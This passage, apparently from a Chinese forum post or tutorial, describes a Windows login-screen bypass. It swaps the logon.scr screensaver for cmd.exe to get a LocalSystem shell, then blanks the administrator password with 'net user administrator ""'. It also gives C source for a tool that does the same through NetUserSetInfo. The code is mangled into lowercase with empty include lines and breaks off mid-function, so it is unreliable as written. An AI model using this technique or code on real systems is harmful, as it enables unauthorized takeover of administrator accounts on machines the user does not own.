4。我还在一个网站上看到这样一个方法:
就是把%systemroot%\system32\logon.scr替换为cmd.exe或者explorer.exe,然后在系统登陆处等待,过一会,系统就会去运行logon.scr这个屏保,因为你替换了这个屏保文件,所以实际上运行的是cmd.exe或者explorer.exe,并且是localsystem权限,于是你可以随便了,最简单的就是在cmd.exe里运行net user administrator "",成功后管理员密码也被清空了,关闭cmd或者explorer就可以用空口令登陆了。
其实这种方法和上边的那种思路是一致的。
================= code begin =======================
#include
#include
#include
#include
#include
#pragma comment(lib, "netapi32.lib")
#define lof_file "c:\\cleanpwd.txt"
dword setuserpwd(char *user, char *pass);
void banner(file *fp)
{
if(null == fp)return;
fprintf(fp, "clean administrator''s password tool 1a. for lost password.\n");
fprintf(fp, " by bingle@email.com.cn\n");
fprintf(fp, "website: www.binglesite.net\n");
}
int main(int argc, char *argv[])
{
banner(stderr);
file *fp = fopen(lof_file, "a");
if(fp)
{
fprintf(stderr, "log in file %s\n", lof_file);
banner(fp);
}
if(!fp) fp = stderr;
char buff[256];
fprintf(fp, "%s: clean administrator''s password ", _strtime(buff));
dword n = setuserpwd("administrator", "");
if(nerr_success == n) fprintf(fp, "ok.\n");
else fprintf(fp, "failed, error:%d\n", n);
fclose(fp);
return -1;
}
dword setuserpwd(char *user, char *pass)
{
wchar_t wuser[pwlen], wpass[pwlen];
user_info_1003 ui;
mbstowcs(wuser, user, strlen(user)+1);
mbstowcs(wpass, pass, strlen(pass)+1);
ui.usri1003_password = wpass;
return netusersetinfo(null, wuser, 1003, (lpbyte)&ui, null); |